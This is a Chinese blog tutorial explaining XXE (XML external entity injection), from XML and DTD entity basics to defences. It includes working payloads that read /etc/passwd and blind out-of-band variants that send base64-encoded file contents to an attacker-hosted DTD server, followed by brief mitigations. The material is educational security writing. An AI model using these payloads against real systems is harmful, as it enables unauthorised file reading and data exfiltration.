【每天学习一点新知识】XXE(XML外部实体注入)从入门到放弃

目录

漏洞原理

什么是 XML?

什么是DTD-实体?

內部实体/外部实体

一个内部实体声明

一个外部实体声明

通用实体/参数实体

通用实体

参数实体

目录

漏洞原理

什么是 XML?

什么是DTD-实体?

內部实体/外部实体

一个内部实体声明

一个外部实体声明

通用实体/参数实体

通用实体

参数实体

 补充

外部文档声明

内部的DOCTYPE声明

构造外部实体注入攻击

如何防御



 

漏洞原理

XXE(XML外部实体注入,XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS攻击、执行系统命令等。

什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签
  • XML 被设计为具有自我描述性
  • XML 是 W3C 的推荐标准

XML——XML介绍和基本语法_KLeonard的博客-CSDN博客_xml本文介绍了XML语言的历史,以及它的作用和常见的应用。重点介绍了XML文件的语法规则https://blog.csdn.net/gavin_john/article/details/51511180

XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:

其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。 

 基本的XML语法就不过多的描述。主要看一下DTD-实体

什么是DTD-实体?

基本的PAYLOAD结构

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。 

依照我的理解,外部引用就是将规范写在一个单独的dtd文档之中,就是为了多个xml可以调用同一个规范,方便省事,统一管理,和文件包含一个道理

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

內部实体/外部实体

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体引用必须包含三个部分: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。 

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

 XML 例子:

<author>&writer;&copyright;</author>

外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:

 一般我们就可以利用file协议读取文件,利用http协议探测内网等等。

通用实体/参数实体

通用实体

<!ENTITY 实体名称 "实体内容">

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用,例如:

<?xml version="1.0"?>

<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>

<x>&b;</x>

参数实体

<!ENTITY % 实体名称 "实体内容">

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<?xml version="1.0"?>

<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >
%d;
]>

<x>&xxe;</x>

 xxe.dtd的内容为

<!ENTITY xxe SYSTEM "file:///etx/passwd" >

 第三行的%d就像在外面引用通用实体一样,将http://xxx.com/xxe.dtd这个文件引入到dtd文件中

 补充

外部文档声明

<!DOCTYPE 根元素 SYSTEM "文件名">

内部的DOCTYPE声明

<!DOCTYPE 根元素 [元素声明]>

构造外部实体注入攻击

XXE漏洞利用也可看下面这个链接:

XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

有回显的payload写法:

1、直接通过DTD外部实体声明。XML内容如下:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

2、通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下: 

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&b;</abc>

evil.dtd内容:

 <!ENTITY b SYSTEM "file:///etc/passwd">

我的理解:先通过外部文档声明把evil.dtd引进来了,这时候看这个evil.dtd,它在里面声明了一个实体b,作用是读取那个/etc/passwd,但是这个时候还没有执行,只有当&b;之后,才是引用了b这个实体,就可以利用file协议读取passwd(之前的每一步就像先把需要用到的参数先引入进来,就跟python的import差不多)

3、通过DTD内部实体声明引入外部实体声明。XML内容如下:

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
]>
<abc>&b;</abc>

evil.dtd内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

无回显的payload写法

1、第一种无回显示payload写法:

<?xml version="1.0"?> 
<!DOCTYPE a [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
%dtd; %all; 
]> 
<abc>&send;</abc>

其中evil.xml文件内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

2、第二种无回显payload写法:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;
]>
<abc></abc>

其中evil.xml文件内容为:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的        internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

如何防御

  1. 配置XML处理器使用禁用DTD
  2. 禁止外部实体解析
  3. 通过黑名单过滤用户提交的XML数据
  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XML外部实体注入漏洞(XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RexHarrr

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值